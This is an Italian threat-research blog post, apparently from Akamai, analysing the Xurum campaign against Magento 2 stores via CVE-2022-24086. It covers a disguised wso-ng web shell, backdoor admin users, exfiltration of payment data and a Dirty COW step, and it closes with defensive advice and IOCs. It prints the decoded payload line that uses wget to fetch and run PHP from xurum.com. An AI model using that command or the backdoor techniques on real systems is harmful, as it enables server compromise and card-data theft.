Vi serve il cloud computing? Iniziate subito

Xurum: rilevata una nuova campagna di Magento

Almeno sette gruppi di criminali hanno preso di mira gli store di Magento dal 2015 a indicare l'importanza di questa piattaforma e il successo ottenuto dai criminali tramite il suo sfruttamento.

Ricerca condotta da: Ron Mankivsky, Dennis German, Chen Doytshman, Maxim Zavodchik

Ricerca stilata in collaborazione con: Tricia Howard

Analisi riassuntiva

  • I ricercatori di Akamai hanno rilevato una campagna SSTI (Server-Side Template Injection) in corso (CVE-2022-24086) che sta sfruttando i siti di e-commerce. Questa campagna, soprannominata Xurum in relazione al nome del dominio del server C2 (Command and Control), prende di mira gli store di Magento 2. 

  • Questa campagna ci risulta attiva almeno da gennaio 2023. L'autore di questa campagna sembra interessato ai dati dei pagamenti provenienti dagli ordini effettuati nello store di Magento nei 10 giorni precedenti. 

  • Il criminale registra un nuovo componente Magento e lo spaccia come "GoogleShoppingAds",

  • quindi usa un'avanzata web shell denominata "wso-ng, che viene attivata solo quando il criminale invia il cookie "magemojo000" al componente "GoogleShoppingAds" della backdoor. 

  • La pagina di accesso della web shell si spaccia come una pagina di errore, ma, in realtà, contiene un modulo di accesso nascosto che tenta di estrapolare le credenziali della vittima.

  • Il criminale crea un utente amministratore della backdoor in Magento, denominato "mageplaza" o "mageworx", come un altro trucco per ingannare la vittima alla pari dei nomi dei popolari store di Magento.

  • Il criminale utilizza il vecchio exploit Dirty COW (CVE-2016-5195) per tentare l'escalation dei privilegi all'interno di Linux. 

  • Sembra che questa minaccia si sia originata in Russia. 

  • Alcuni siti web coinvolti in questa campagna sono risultati infettati con semplici skimmer basati su JavaScript che non hanno tentato di offuscare o nascondere la loro esistenza.

Introduzione

L'e-commerce è un settore largamente preso di mira dagli attacchi dei criminali informatici in generale. Tuttavia, la diffusa popolarità di Magento l'ha reso sfortunatamente un bersaglio particolarmente allettante (e redditizio). Maggiormente degno di nota è l'attacco Magecart,  in cui i criminali mirano ad installare skimmer basati su JavaScript per acquisire in modo illecito informazioni sensibili sugli utenti. Gli autori di questi attacchi Magecart riescono a sfruttare le note vulnerabilità web per raggiungere il loro scopo.

Almeno sette gruppi di criminali hanno preso di mira gli store di Magento dal 2015a indicare l'importanza di questa piattaforma e il successo ottenuto dai criminali tramite il suo sfruttamento.

Agli inizi del 2022, è venuta alla luce la vulnerabilità CVE-2022-24086, che consente ai criminali di sfruttare il motore dei template di Magento e di eseguire codice PHP arbitrario sugli obiettivi più vulnerabili. L'exploit è costituito da più fasi, in cui i vettori di attacco più comuni riguardano l'abuso del processo di pagamento o della funzionalità della wishlist. Dal momento della sua divulgazione, questa vulnerabilità è emersa come principale punto di ingresso per i vari autori di attacchi Magecart, che mirano ai vulnerabili store di Magento 2.

Nei mesi scorsi, Akamai ha monitorato da vicino una campagna mirata specificamente ad un numero relativamente basso di installazioni di Magento. Questa campagna è stata soprannominata Xurum in relazione al nome del dominio del server C2 utilizzato dai criminali.

Sfruttamento della vulnerabilità CVE-2022-24086 come accesso iniziale

Durante questa campagna attualmente in corso, abbiamo osservato i criminali tentare di eseguire due distinti payload da un totale di quattro indirizzi IP (Figura 1). Questi indirizzi IP sono associati all'infrastruttura di due provider di hosting: Hetzner in Germania e Shock Hosting negli Stati Uniti.

Indirizzi IP Figura 1. Gli indirizzi IP associati con Xurum

La prima variante esegue la funzione PHP "file_get_contents" per inviare una richiesta al server C2 xurum.com del criminale nell'intento di rilevare un'eventuale vulnerabilità CVE-2022-24086 del server (Figura 2), mentre il blob Base64 si decodifica in https://xurum.com/mo.

Script dei test Figura 2. Script dei test per la vulnerabilità CVE-2022-24086

La seconda variante è il payload della seconda fase, in cui i criminali scaricano ed eseguono il proprio codice PHP dannoso, che viene gestito sullo stesso server xurum.com . Per eludere il rilevamento, il segmento dell'exploit responsabile del download e dell'esecuzione del codice PHP dannoso da remoto viene offuscato mediante la codifica Base64 ed eseguito tramite la funzione PHP "shell_exec" (Figura 3). La parte offuscata si decodifica in php -r "`wget -qO- https://xurum.com/b.txt`;".

Il codice PHP offuscato tramite la codifica Base64 ed eseguito tramite la funzione PHP "shell_exec" Figura 3. Payload di Xurum codificato in Base64 per eludere il rilevamento

Zona di lancio del server xurum.com

Durante la nostra indagine, è risultato evidente che il server xurum.com è posizionato fisicamente nei Paesi Bassi (Figura 4) e che viene gestito dalla società di hosting russa VDSina.ru (Figura 5).

Il server xurum.com è posizionato fisicamente nei Paesi Bassi Figura 4. Informazioni sull'indirizzo IP del server xurum.com
La società di hosting russa VDSina.ru Figura 5. Il server xurum.com è gestito dalla società di hosting VDSina.ru

Al momento della nostra indagine, questo dominio non era considerato dannoso da molti dei più comuni siti di valutazione delle minacce (Figura 6). Questa apparente legittimità aumenta la fiducia degli utenti e consente al criminale di operare praticamente inosservato.

Il dominio xurum.com presentato come non dannoso Figura 6. L'output di VirusTotal che presenta il dominio xurum.com come non dannoso

Che cosa significa "xurum"?

Considerando le varie iterazioni di questo attacco, abbiamo deciso di chiamarlo xurum per distinguere questa campagna da altri tipi di attacchi.

Spesso, i criminali impiegano diverse convenzioni di denominazione per i loro domini o malware, che inavvertitamente o deliberatamente sono la loro firma distintiva. Nel corso della nostra indagine sul possibile significato della parola "xurum," ci siamo imbattuti in due potenziali interpretazioni.

Google Traduttore traduce la parola "xurum" dal latino come "giusto" nell'accezione "fare la cosa giusta" (Figura 7). D'altro canto, il dizionario di WordSense indica che xurum significa "ragazzo" in una lingua ormai estinta che veniva parlata in Guatemala (Figura 8).

Google Traduttore traduce la parola "xurum" dal latino come "giusto" nell'accezione "fare la cosa giusta" Figura 7. Google Traduttore rileva "xurum" come parola latina
Traduzione della parola "xurum" Figura 8. WordSense traduce "xurum" come "ragazzo" dalla lingua Sinacantán

Si prega di notare che, al momento della stesura di questo blog, i criminali hanno reso inattivo il loro server xurum e sono passati ad un altro server, che si trova apparentemente ancora in una fase di controllo qualità.

Esfiltrazione delle informazioni sugli ordini e creazione della backdoor di Magento

Lo script PHP dannoso che viene scaricato dal server xurum ed eseguito sul computer preso di mira presenta diversi stadi di infezione.

Innanzitutto, raccoglie le informazioni tecniche sulla vittima, come:

  • Versione PHP

  • Se l'exploit è penetrato nella directory "/pub" (la comune struttura di directory in Magento)

  • Se il file "/var/www/html/vendor/magento/google-shopping-ads/registration.php"  esiste ed è modificabile 

  • I contenuti del file "env.php", che includono importanti informazioni sull'applicazione Magento, come le impostazioni specifiche dell'ambiente, ma anche informazioni riservate come la chiave di crittografia utilizzata per proteggere i dati sensibili, ad esempio password, dati delle carte di credito e informazioni sui clienti.

Quindi, il blob Base64 offuscato viene decodificato e scritto nel file "/var/www/html/vendor/magento/google-shopping-ads/registration.php" (Figura 9).

La decodifica di un blob Base64 offuscato viene scritto nel file "/var/www/html/vendor/magento/google-shopping-ads/registration.php" Figura 9. Un blob offuscato contenente un collegamento alla web shell viene scritto come "registration.php"

Il nuovo file include contenuti interessanti. Anziché mantenere la propria copia di una web shell e gestirla sul proprio server C2, il codice presente nel nuovo file punta ad un repository GitHub pubblico gestito da un ricercatore della sicurezza denominato "Bad Advertiser" o "@0xbadad”. All'interno di questo repository, è presente una nota web shell denominata wso-ng. L'aspetto che la rende particolarmente interessante, tuttavia, consiste nel fatto che la web shell non viene scritta nel disco del server, ma viene caricata ed eseguita soltanto in memoria una volta effettuato l'accesso alla pagina "registration.php" appena creata. Per proteggersi ulteriormente dagli accessi non autorizzati, bisogna considerare che i criminali inseriscono anche uno specifico cookie "magemojo000" nella richiesta per eseguire correttamente la web shell.

Quindi, il criminale registra la nuova funzionalità della web shell come un nuovo componente Magento e lo spaccia come "GoogleShoppingAds" (Figura 10).

Un criminale registra la nuova funzionalità della web shell come un nuovo componente Magento Figura 10. La web shell wso-ng si spaccia per il componente GoogleShoppingAds

Dopo aver installato la backdoor, i criminali recuperano le informazioni sui metodi di pagamento degli ordini di vendita utilizzati negli ultimi10 giorni ed esfiltrano questi dati nella zona di lancio del server xurum.com, insieme alle informazioni tecniche raccolte in precedenza (Figura 11).

 Raccolta di informazioni nel corso del tempo Figura 11. Raccolta di informazioni sugli ordini effettuati negli ultimi 10 giorni

Infine, i criminali creano un utente amministratore della backdoor denominato "mageworx" (o "mageplaza" in alcune varianti). Questi nomi corrispondono ai popolari store delle estensioni di Magento 2, Mageworx e Mageplaza (Figura 12). Questa scelta di nomi sembra un tentativo di camuffare le azioni dei criminali presentandole come legittime in quanto correlate a questi affidabili provider di estensioni.

Abbiamo notato anche una piccola differenza negli indirizzi e-mail degli utenti della backdoor. Si nota l'uso della doppia "z" in "mageplazza" nell'indirizzo e-mail developer@mageplazza.com, mentre il dominio dello store legittimo presenta una sola "z" nel suo nome (mageplaza.com), che sembra un errore di battitura commesso dai criminali. Un errore simile è stato notato nell'indirizzo e-mail dell'utente dell'altra backdoor, support@magaworx.com,  in cui si nota l'uso di una "a" anziché di una "e" come appare nel nome dello store originale (Mageworx).

 Nomi corrispondenti ai popolari store delle estensioni di Magento 2, Mageworx e Mageplaza Figura 12. I criminali creano l'utente amministratore mageworx/mageplaza della backdoor

La nuova generazione di web shell: wso-ng

Una web shell è uno script o un pezzo di codice dannoso che i criminali caricano ed eseguono su un server web per guadagnare l'accesso non autorizzato e per controllare in modo persistente il server insieme ai file e ai dati in esso contenuti.

In questa operazione, i criminali sfruttano una web shell molto avanzata, nota come wso-ng, che, come menzionato in precedenza, è stata creata da un ricercatore della sicurezza alcuni anni fa. Come indicato dal suo autore, wso-ng è la nuova generazione della famosa versione precedente, denominata WSO (Web Shell by Orb). 

Oltre alle tipiche funzionalità che si trovano nelle web shell, come la raccolta delle informazioni di sistema e la gestione di file e SQL, wso-ng presenta altre eccezionali funzioni che la distinguono dalla concorrenza (Figura 13).

La shell wso-ng web Figura 13. Uno sguardo alla shell wso-ng web

Le nuove funzioni

Una di queste funzioni è rappresentata dalla pagina di accesso nascosta. Al momento di effettuare l'accesso, la pagina risponde con un codice di stato HTTP del tipo 404 Non trovato, dando l'impressione di essere una pagina non esistente. Il contenuto visibile appare a prima vista vuoto (Figura 14). Tuttavia, se si esamina il codice sorgente della pagina, si trova un modulo di accesso nascosto.

Questo modulo viene nascosto abilmente all'utente con un semplice trucco CSS, in cui 1.000 pixel vengono spostati a sinistra per allontanare il modulo dall'area visibile. Questo modulo di accesso nascosto è progettato per attendere l'immissione della password da parte dell'utente.

 Pagina di accesso wso-ng Figura 14. La pagina di accesso wso-ng appare vuota, anche se dispone della funzionalità di visualizzazione nascosta

Inoltre, wso-ng si integra con VirusTotal per consentire i controlli automatici della reputazione degli indirizzi IP sul computer infettato, inviando anche una serie di query a SecurityTrails, un servizio fornito da Recorded Future, un'affidabile società di intelligence sulle minacce, e da IPinfo per ottenere informazioni sugli altri domini ospitati sullo stesso server.

Poiché dispone di funzionalità offensive, la web shell tenta anche di eludere le sandbox PHP delle società di hosting, impiegando varie tecniche, tra cui gli exploit fastCGI e php add-filter, per bypassare le funzioni PHP disattivate. Inoltre, offre una funzione di suggerimento automatico per gli exploit di escalation dei privilegi locali che sono compatibili con la specifica versione di Linux su cui è ospitata la web shell.

Un'analisi più dettagliata di questa web shell verrà fornito in un altro blog in futuro.

Elevazione dei privilegi con il vecchio exploit Dirty COW

Abbiamo trovato un altro strumento interessante nell'arsenale dei criminali sul server xurum.com: un exploit pubblico di una precedente vulnerabilità CVE-2016-5195 denominato Dirty COW per le escalation dei privilegi locali di Linux (Figura 15).

 Abuso di Dirty COW per l'escalation dei privilegi di Linux Figura 15. Screenshot dell'abuso di Dirty COW per l'escalation dei privilegi di Linux

Infezione da web skimmer

Poiché molti dei clienti della nostra soluzione WAF ( Web Application Firewall ) hanno mitigato in modo efficace questa campagna, non abbiamo osservato direttamente altre azioni intraprese dai criminali. Tuttavia, durante la nostra indagine, abbiamo notato che i nomi dei siti web erano indirettamente correlati a questa campagna e apparivano nell'intestazione dell'origine/referer HTTP.

Almeno uno di questi siti web è stato infettato da un semplice web skimmer, che, installato sulla pagina principale senza applicare alcuna tecnica di offuscamento, raccoglie i dati delle carte di credito e li estrae in una zona di lancio gestita su "smileface.site" (Figura 16).

Screenshot del web skimmer installato Figura 16. Web skimmer installato su uno dei siti web esaminati

Quando si tenta di accedere, il sito web risponde con un messaggio di accesso sospetto (Figura 17).

Il sito web risponde con un messaggio di accesso sospetto Figura 17. Risposta ricevuta da smileface.site al tentativo di accesso

Le informazioni sull'indirizzo IP indicano che il server è situato a Mosca ed è gestito dalla società di hosting russa "reg.ru" (Figura 18).

Le informazioni sull'indirizzo IP indicano che il server è situato a Mosca ed è gestito dalla società di hosting russa "reg.ru" Figura 18. smileface.site è gestito dalla società di hosting reg.ru

Riepilogo

Dalla nostra indagine, è emerso che questa campagna risale almeno alla fine di gennaio 2023. I criminali hanno mostrato un approccio meticoloso, prendendo di mira specifiche istanze di Magento 2 anziché diffondere in modo indiscriminato i propri exploit sul web. Disponendo di un elevato livello di competenze su Magento, i criminali investono una quantità considerevole di tempo nella comprensione delle sue caratteristiche interne, nella configurazione dell'infrastruttura dell'attacco e nell'esecuzione di test dei propri exploit su obiettivi reali.

Questa campagna rappresenta un esempio pratico di come precedenti vulnerabilità continuano ad essere sfruttate anni dopo la loro divulgazione, mentre le aziende si impegnano nell'intento di tenersi aggiornate su misure di sicurezza e patch.

Consigli sulla sicurezza

Per impedire l'accesso iniziale al server, si consiglia ai professionisti della sicurezza di tenersi al passo con le patch più recenti e di integrarle implementando una soluzione WAF, come Akamai App & API Protector.

Poiché l'obiettivo principale degli autori di questi attacchi Magecart è infettare le pagine di Magento con web skimmer e rubare i dati delle carte di credito dei clienti, si consiglia vivamente di aggiungere soluzioni per la sicurezza dedicate, che forniscono visibilità sul comportamento degli script del browser e offrono un sistema di difesa dagli attacchi lato client.

Un approccio efficace prevede l'implementazione di misure di sicurezza in posizioni più vicine al punto in cui si verifica l'effettivo attacco ai client, tra cui l'identificazione dei tentativi di lettura da campi di input sensibili e l'esfiltrazione di dati. Si consiglia vivamente di raccogliere questi eventi per facilitare una mitigazione rapida ed efficiente con l'aiuto di prodotti per la sicurezza, come Akamai Page Integrity Manager.

Tenetevi al passo

Durante la nostra analisi dei recenti tentativi di sfruttamento della vulnerabilità CVE-2022-24086 di Magento sui nostri clienti, abbiamo scoperto altre campagne che sono attualmente oggetto di indagine. Continueremo a condurre ulteriori indagini e a condividere i nostri risultati con la comunità della sicurezza. Per ulteriori ricerche sulla sicurezza, seguiteci su Twitter.

IOC

I seguenti indicatori di compromissione (IOC) sono forniti per aiutare la comunità a individuare le attività dannose descritte nel post.

Valore

Tipo

104.36.229.168

IP attacco

95.216.95.178

IP attacco

95.216.94.99

IP attacco

65.21.85.21

IP attacco

xurum.com

Dominio di hosting del malware

/var/www/html/vendor/magento/google-shopping-ads/registration.php

Nome file

mageworx

Utente di Magento

mageplaza

Utente di Magento

developer@mageplazza.com

Indirizzo e-mail

support@magaworx.com

Indirizzo e-mail